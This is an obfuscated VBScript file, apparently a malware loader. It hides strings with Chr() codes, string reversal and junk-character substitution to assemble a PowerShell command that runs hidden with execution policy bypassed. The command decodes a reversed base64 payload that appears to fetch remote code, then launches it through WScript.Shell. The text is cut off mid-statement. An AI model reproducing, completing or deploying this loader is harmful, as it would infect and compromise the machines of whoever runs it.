Function WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON(xKpOQUeoyCPUtDBxvuNAcGuNSOxlniuDYxODRbbtyedvMdqOnvWMaeJoMNpiCgvuPBhbGWqcNMpGqOttAyrtiewKRcecLKwbrPbNtZLWJldcKiWoYHUtAlcyHtKxqYM,BLGtUhAOGRYhNcxjqPCtpQlnrJjqLUWcGNtcsdyWGAcGczWhLGdcWAsKNYNURUqUDDWdHpSrYcGHSJvxtGixqlUUJuAcDBUdiTyIxZUdsczBASdKGXhJtcPuXWIBSGQ,ANGeUSvIMDSSghCbNSGoamcCOdbiLTqhOUehucveMvWLPcDYLLzPZvQUvGnZDONnPCacOluOGPGOudUtoMatBSaHjPvjGkacaLvdtNTzQTcWCszUONSSoTDKNeTAuOH)
DWnoOXWAGaWWhtACDJunncLdHnACWhxRMhASPWYnzDPszUWHtKbCqWiXCLYcWzgzjALRsAfAWLUPsPUxALPWXwXHXnAcfURwCqyDJLKgpZLNZWASrUHScSDzZgbGwHHL = Chr(82)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = "WKQfhWJMGlLWdxWULaROZONKknZdGlxxeGfxSadWaJfDyjJWyNBWLkBrpGTKlkLNyToSyaOOGyLpCWZYOGZYjLuLWQWZcuuSZWYeYLdlJDOwupBrePnQODNhPWKWOON = "
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU + DWnoOXWAGaWWhtACDJunncLdHnACWhxRMhASPWYnzDPszUWHtKbCqWiXCLYcWzgzjALRsAfAWLUPsPUxALPWXwXHXnAcfURwCqyDJLKgpZLNZWASrUHScSDzZgbGwHHL
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU + "(xKpOQUeoyCPUtDBxvuNAcGuNSOxlniuDYxODRbbtyedvMdqOnvWMaeJoMNpiCgvuPBhbGWqcNMpGqOttAyrtiewKRcecLKwbrPbNtZLWJldcKiWoYHUtAlcyHtKxqYM ,BLGtUhAOGRYhNcxjqPCtpQlnrJjqLUWcGNtcsdyWGAcGczWhLGdcWAsKNYNURUqUDDWdHpSrYcGHSJvxtGixqlUUJuAcDBUdiTyIxZUdsczBASdKGXhJtcPuXWIBSGQ, ANGeUSvIMDSSghCbNSGoamcCOdbiLTqhOUehucveMvWLPcDYLLzPZvQUvGnZDONnPCacOluOGPGOudUtoMatBSaHjPvjGkacaLvdtNTzQTcWCszUONSSoTDKNeTAuOH)"
execute(UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU)
End Function
Function eKRiX(xKpOQUeoyCPUtDBxvuNAcGuNSOxlniuDYxODRbbtyedvMdqOnvWMaeJoMNpiCgvuPBhbGWqcNMpGqOttAyrtiewKRcecLKwbrPbNtZLWJldcKiWoYHUtAlcyHtKxqYM)
qKpccWaPUqKYHADofZJpXksnkpDkNfKkkfDNsaIpOTcQOKckAOzoKaJTusDLKOZOLrsdQrNPKszcZAKKDGsYOcWkOsrHKzdqkKRfHsDAkpsrpaTYLGsNUkfOpZhiqksG = Chr(83)&Chr(116)&Chr(114)&Chr(82)&Chr(101)&Chr(118)&Chr(101)&Chr(114)&Chr(115)&Chr(101)
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = "eKRiX = "
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU + qKpccWaPUqKYHADofZJpXksnkpDkNfKkkfDNsaIpOTcQOKckAOzoKaJTusDLKOZOLrsdQrNPKszcZAKKDGsYOcWkOsrHKzdqkKRfHsDAkpsrpaTYLGsNUkfOpZhiqksG
UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU = UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU + "(xKpOQUeoyCPUtDBxvuNAcGuNSOxlniuDYxODRbbtyedvMdqOnvWMaeJoMNpiCgvuPBhbGWqcNMpGqOttAyrtiewKRcecLKwbrPbNtZLWJldcKiWoYHUtAlcyHtKxqYM)"
execute(UjfqcALcKkTAhDDGUSyLrDRnvwGBXaODqDqDGOkNKLWKcOpGXKsccekeuOOKkDUcJjfOgwZoOcfgZwgULKIUvCieOWLPLRiOIUkeUtnskZOIJbseqgAMLZaagNUUZqU)
End Function
Function OTRHWfuHLmCfcumocDApZoWCLsogJaPuqNHupiUNLuduokRxJuJomhCjuAeDmLcWDYJicJmJAoRcmspXpLQXcuCrqKuKwwCiQmUfXUJJCqknLCJjqufIpqMmuNLOmqr(UMyCbKDWxQPKknrGTHhCDBSDxrGGquNngYCnwymUxDzKGOcJqKvGSWqKcyNkQKTWGWnybckUyGybkrUTCxPTMNNpoDDKXbNyPxmbTPovqCOOQovKgzKoCCgKzUMUkgH,ymJKKOGJcYWOxbAPWTDBTsdAZOPjMPKbcnKbODgscGXdulSaMdNullULYrSAYbWRoeeDvifAruJvfONcBcecNYcTWGGpMicDeRgNcycNUxlGkcNLcCOOBxhWCsUyfcY,ALirjiGWTDvLoqbfxYrPdWAwalAkYPpqyDrqQLWznGtLvLGWyQOcarWcfWYTDUlCvOvTkhefNvicBrmZPnGqPJkxUcAKWBgTGfqKZHWOlLKlBQOcqTsmPLLeTNcAxWY)
OTRHWfuHLmCfcumocDApZoWCLsogJaPuqNHupiUNLuduokRxJuJomhCjuAeDmLcWDYJicJmJAoRcmspXpLQXcuCrqKuKwwCiQmUfXUJJCqknLCJjqufIpqMmuNLOmqr = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(UMyCbKDWxQPKknrGTHhCDBSDxrGGquNngYCnwymUxDzKGOcJqKvGSWqKcyNkQKTWGWnybckUyGybkrUTCxPTMNNpoDDKXbNyPxmbTPovqCOOQovKgzKoCCgKzUMUkgH, ymJKKOGJcYWOxbAPWTDBTsdAZOPjMPKbcnKbODgscGXdulSaMdNullULYrSAYbWRoeeDvifAruJvfONcBcecNYcTWGGpMicDeRgNcycNUxlGkcNLcCOOBxhWCsUyfcY, ALirjiGWTDvLoqbfxYrPdWAwalAkYPpqyDrqQLWznGtLvLGWyQOcarWcfWYTDUlCvOvTkhefNvicBrmZPnGqPJkxUcAKWBgTGfqKZHWOlLKlBQOcqTsmPLLeTNcAxWY)
End Function
Function aUJxnlNpJlTlnWRKBLDQoBpRcGKNNgLWzfxWUOYgJNidORGSNdlONnytfZZclSBBDMsOvAdNZOJvdGDJQJHJMbYOqPNvOAYOHkYXJqKlyaRNoAltzAlAQafBAgMadzl(UMyCbKDWxQPKknrGTHhCDBSDxrGGquNngYCnwymUxDzKGOcJqKvGSWqKcyNkQKTWGWnybckUyGybkrUTCxPTMNNpoDDKXbNyPxmbTPovqCOOQovKgzKoCCgKzUMUkgH)
aUJxnlNpJlTlnWRKBLDQoBpRcGKNNgLWzfxWUOYgJNidORGSNdlONnytfZZclSBBDMsOvAdNZOJvdGDJQJHJMbYOqPNvOAYOHkYXJqKlyaRNoAltzAlAQafBAgMadzl = StrReverse(UMyCbKDWxQPKknrGTHhCDBSDxrGGquNngYCnwymUxDzKGOcJqKvGSWqKcyNkQKTWGWnybckUyGybkrUTCxPTMNNpoDDKXbNyPxmbTPovqCOOQovKgzKoCCgKzUMUkgH)
End Function
oUUYdMRtWWcGgydLGPgOdgjXuUoUcUWyKKYyDXDDQRWWelUJhHyTXpYUYgiOWJrDUUWZGtWUkeUNPekhOQexACJGatQdKtGZepSdhGjyiWJCDanUwzGyiWSrzfkoPgh = " "
RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTPiKeYTuByWYDbbUTmKTyKfaUOqLYGWTPdWQqhWRJcWywHvWPqRDLDD = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
PywlKrwnGqzWJdeKYGXnIOjtwYlydycxWUKrWRcGQWDccJeATKNchDLONKQkWDWNWSlpqpOWkvDPKGUikUSryQAydIcpOUKfDaiNiyKOWoDyOmicOBXLWbcGLRPQXbnlZ = aUJxnlNpJlTlnWRKBLDQoBpRcGKNNgLWzfxWUOYgJNidORGSNdlONnytfZZclSBBDMsOvAdNZOJvdGDJQJHJMbYOqPNvOAYOHkYXJqKlyaRNoAltzAlAQafBAgMadzl("=#$@#QK#$@#MH#$@#0Bgb#$@#UG#$@#tBQd#$@#cG#$@#yBQY#$@#QC#$@#g#$@##$@#L#$@#wG#$@#sBQd#$@#4G#$@#k#$@##$@#K#$@#UG#$@#rBwb#$@#YH#$@#uBQS#$@#4C#$@#kBwb#$@#gG#$@#0BQ" & RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTPiKeYTuByWYDbbUTmKTyKfaUOqLYGWTPdWQqhWRJcWywHvWPqRDLDD & oUUYdMRtWWcGgydLGPgOdgjXuUoUcUWyKKYyDXDDQRWWelUJhHyTXpYUYgiOWJrDUUWZGtWUkeUNPekhOQexACJGatQdKtGZepSdhGjyiWJCDanUwzGyiWSrzfkoPgh & RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTPiKeYTuByWYDbbUTmKTyKfaUOqLYGWTPdWQqhWRJcWywHvWPqRDLDD & "#$@#0G#$@#k#$@#wO#$@#kC#$@#n#$@##$@#a#$@#QH#$@#0B#$@#c#$@#MH#$@#6#$@#wL#$@#8C#$@#5Bwb#$@#IH#$@#rBgc#$@#UG#$@#mBgc#$@#kG#$@#nBQ" & RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTP
PywlKrwnGqzWJdeKYGXnIOjtwYlydycxWUKrWRcGQWDccJeATKNchDLONKQkWDWNWSlpqpOWkvDPKGUikUSryQAydIcpOUKfDaiNiyKOWoDyOmicOBXLWbcGLRPQXbnlZ = OTRHWfuHLmCfcumocDApZoWCLsogJaPuqNHupiUNLuduokRxJuJomhCjuAeDmLcWDYJicJmJAoRcmspXpLQXcuCrqKuKwwCiQmUfXUJJCqknLCJjqufIpqMmuNLOmqr( PywlKrwnGqzWJdeKYGXnIOjtwYlydycxWUKrWRcGQWDccJeATKNchDLONKQkWDWNWSlpqpOWkvDPKGUikUSryQAydIcpOUKfDaiNiyKOWoDyOmicOBXLWbcGLRPQXbnlZ, RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTPiKeYTuByWYDbbUTmKTyKfaUOqLYGWTPdWQqhWRJcWywHvWPqRDLDD + oUUYdMRtWWcGgydLGPgOdgjXuUoUcUWyKKYyDXDDQRWWelUJhHyTXpYUYgiOWJrDUUWZGtWUkeUNPekhOQexACJGatQdKtGZepSdhGjyiWJCDanUwzGyiWSrzfkoPgh + RdQluGyHGoNwJGnvxRQNgQtyGxTJmlCYOKyygWhTYsgCYJLAccBSSPcPfcqKLghOWnKJbmdUrKTPiKeYTuByWYDbbUTmKTyKfaUOqLYGWTPdWQqhWRJcWywHvWPqRDLDD , "Z")
Function WcDydCubsiHYiQsWtgNWHPNaLtJADwuYWPUGIxRWjMjPMUScDGZUmncQYSbDzjsUBDWpOPuJOGWKUDjMupUaOkNSPhhPppUgTMvUqrYUgGKcAcUyAHccBWjXKxKzBULuO(str)
Dim i, YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF
YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF = ""
For i = Len(str) To 1 Step -1
YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF = YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF & Mid(str, i, 1)
Next
WcDydCubsiHYiQsWtgNWHPNaLtJADwuYWPUGIxRWjMjPMUScDGZUmncQYSbDzjsUBDWpOPuJOGWKUDjMupUaOkNSPhhPppUgTMvUqrYUgGKcAcUyAHccBWjXKxKzBULuO = YNXCXBJJZHMFYWZFPYWMBIZBDNSIWJUORDYBLLULKPLKCQPIAFERDGEPOWZKIBMPMXOVXXTEEKCMWPYNXKHQFDLLZJNOLJCJCWXEBUKCMAMSDRSZYMMYTVKJMDWOKF
End Function
Function CXWRDZuOvpXlRUZVDNJWyCcEYWWnvncNJnZJGuJWOLHUOKZYUKEVouLgQcTUXOCOHCcuUCQOXcZHULKKWXGlAnZYnyCMZYuAnKIDTKWBPHcWHuMZGGoUXOCOHCUFAYod()
Dim asciiString
asciiString = Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(67)&Chr(111)&Chr(110)&Chr(118)&Chr(101)&Chr(114)&Chr(116)&Chr(93)&Chr(58)&Chr(58)&Chr(70)&Chr(114)&Chr(111)&Chr(109)&Chr(98)&Chr(97)&Chr(115)&Chr(101)&Chr(54)&Chr(52)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)&Chr(36)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(103)&Chr(111)&Chr(46)&Chr(114)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)&Chr(40)&Chr(39)&Chr(35)&Chr(64)&Chr(36)&Chr(35)&Chr(39)&Chr(44)&Chr(39)&Chr(65)&Chr(39)&Chr(41)&Chr(32)&Chr(41)&Chr(32)&Chr(41)
CXWRDZuOvpXlRUZVDNJWyCcEYWWnvncNJnZJGuJWOLHUOKZYUKEVouLgQcTUXOCOHCcuUCQOXcZHULKKWXGlAnZYnyCMZYuAnKIDTKWBPHcWHuMZGGoUXOCOHCUFAYod = asciiString
End Function
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = WcDydCubsiHYiQsWtgNWHPNaLtJADwuYWPUGIxRWjMjPMUScDGZUmncQYSbDzjsUBDWpOPuJOGWKUDjMupUaOkNSPhhPppUgTMvUqrYUgGKcAcUyAHccBWjXKxKzBULuO("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & PywlKrwnGqzWJdeKYGXnIOjtwYlydycxWUKrWRcGQWDccJeATKNchDLONKQkWDWNWSlpqpOWkvDPKGUikUSryQAydIcpOUKfDaiNiyKOWoDyOmicOBXLWbcGLRPQXbnlZ & "'"
Function OZPbmqHQhPZKpUuOYYaPcGrBWPDDBrXKXruwkHBPWpyHWLhWUupOWHLcRrKiZWOWKPrUHPNQZrsyGILXDUkKYAqWIxPKUsUDDWHYpzGpNTrRTHIckmywcUYWTOxPDWyh()
Dim asciiStringg
asciiStringg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
OZPbmqHQhPZKpUuOYYaPcGrBWPDDBrXKXruwkHBPWpyHWLhWUupOWHLcRrKiZWOWKPrUHPNQZrsyGILXDUkKYAqWIxPKUsUDDWHYpzGpNTrRTHIckmywcUYWTOxPDWyh = asciiStringg
End Function
Function LvlXnAsGzUeYHzRUnlUUxWcplnKHuLCdpWPAGULZCPACHHKDTUraeScPdUWibAAoPTUWmCAccSUwrDgXUxqAxCBPiGOCOxPBBeNoXUWXuljvLBXLLdccPdiDpUwWedDDC(command)
ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY = "!##*@##)$2)(
#!#@$7%$$7%()!#$(1%)!8#$%$$#!7:
!58$()9#!)($(9#@!%*(
-%)))*!*9$!!6(%**()!#(#&)*
7)#$&(
@((*$#$/:#ow
4(}*@@
^:**(*(
4(}*@@
^:**(*(
*ll -co!##&@##
$(&*%#!#@%($1/($6
!#%*-%(@$#5$8/#!$*%!%%$*
$#!&&$4(#@!$
$6!!(9%
*&&!#(#%*&%@##%-$!@*%%(#$
&%1$&$(%@**&$#7$*#!##&@##
$(&*%#!#@%($1/($6
!#%*-%(@$#5$8/#!$*%!%%$*
$#!&&$4(#@!$
$6!!(9%
*&&!#(#%*&%@##%-$!@*%%(#$
&%1$&$(%@**&$#7$*#and " & command
ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY,"
4(}*@@
^:**(*(
*","e")
ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY,"!##&@##
$(&*%#!#@%($1/($6
!#%*-%(@$#5$8/#!$*%!%%$*
$#!&&$4(#@!$
$6!!(9%
*&&!#(#%*&%@##%-$!@*%%(#$
&%1$&$(%@**&$#7$*#","m")
ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY,"!##*@##)$2)(
#!#@$7%$$7%()!#$(1%)!8#$%$$#!7:
!58$()9#!)($(9#@!%*(
-%)))*!*9$!!6(%**()!#(#&)*
7)#$&(
@((*$#$/:#","p")
ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTYe = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set myOZgbvnQKkWJdMKOnUchUCDgOIxWyKOWqeqzPcJmGLKOJqALHNNoUpSjHGoWLdGGHlcewRDvxpPdzbUbGbqymONscDwDGeZWarGUfqDWXIyzvUczBPpGJOzyPPGNJQtG = CreateObject(ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTYe)
myOZgbvnQKkWJdMKOnUchUCDgOIxWyKOWqeqzPcJmGLKOJqALHNNoUpSjHGoWLdGGHlcewRDvxpPdzbUbGbqymONscDwDGeZWarGUfqDWXIyzvUczBPpGJOzyPPGNJQtG.Run ryShWoLWxwGWJdlKPIkoPitXTPDJUyGOWmJjoSchiNjGeJPABoNXIvQbKoUyWjtZNwlgOqIzBONPynXpjyKjyirPUWcqcyJlnarZpmpRvPqycPpccBbQNNonXSPUoNPTY, 0, False
End Function
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff & OZPbmqHQhPZKpUuOYYaPcGrBWPDDBrXKXruwkHBPWpyHWLhWUupOWHLcRrKiZWOWKPrUHPNQZrsyGILXDUkKYAqWIxPKUsUDDWHYpzGpNTrRTHIckmywcUYWTOxPDWyh()
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff & CXWRDZuOvpXlRUZVDNJWyCcEYWWnvncNJnZJGuJWOLHUOKZYUKEVouLgQcTUXOCOHCcuUCQOXcZHULKKWXGlAnZYnyCMZYuAnKIDTKWBPHcWHuMZGGoUXOCOHCUFAYod()
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff & ";@}
}4@@}@#
@@#}##
@#@#4##
@#:}@@
*(}4@@:}4:
(@@}@@
@((#@@
#@##:4ow@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
](4(}}
@(}4*(
](4(}}
@(}4*(
h@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
](4(}}
@(}4*(
](4(}}
@(}4*(
@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
x@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
-windo
](4(}}
@(}4*(
](4(}}
@(}4*(
wstyl@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
](4(}}
@(}4*(
](4(}}
@(}4*(
dden -@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
x@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
](4(}}
@(}4*(
](4(}}
@(}4*(
ionpolicy byp
](4(}}
@(}4*(
](4(}}
@(}4*(
ss -NoP
](4(}}
@(}4*(
](4(}}
@(}4*(
rofil@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
](4(}}
@(}4*(
](4(}}
@(}4*(
mand $OW
](4(}}
@(}4*(
](4(}}
@(}4*(
OPLGHfcNtnpPGKWzeXxKXcOwleRIPKGkWHkCDDllbzqGuGTnHWLNPZoUPWaGUqlzzQcwoblUNlzINWaryJfCdbOdDWlbyJkkhkLzrUULcJbPWfrlWRWozKWWkDIapKDNz = "
](4(}}
@(}4*(
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff, OPLGHfcNtnpPGKWzeXxKXcOwleRIPKGkWHkCDDllbzqGuGTnHWLNPZoUPWaGUqlzzQcwoblUNlzINWaryJfCdbOdDWlbyJkkhkLzrUULcJbPWfrlWRWozKWWkDIapKDNz + ";" + OPLGHfcNtnpPGKWzeXxKXcOwleRIPKGkWHkCDDllbzqGuGTnHWLNPZoUPWaGUqlzzQcwoblUNlzINWaryJfCdbOdDWlbyJkkhkLzrUULcJbPWfrlWRWozKWWkDIapKDNz, "")
hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff = CDLZVXYCPTHXCMSOGNKETXWATYYELDVNUCVJRYRNWGDQTCRQELBJIISFGKFXYTQLXTCZQJXIWWIMTGHRHIAZCMFLKQCGSTOCQSSZZRZVNSMLAFLADOQQSQJLORPAGQQ(hqikpDUWUzHbWHbqvpBZSWUUPvcnUNgKsYWUXhDeLzQgRWJLLPONnMDcqPcvnQMuoKSUWclGvcObOoGRYpjUYLfHHfectcWNiyuulRKDhnfqfslDfgkDoWKWPhbchsJff, "@]}}@@
$$$$(@
$@@}($
(]@@(@#
}$@}:$
]:*@4*}
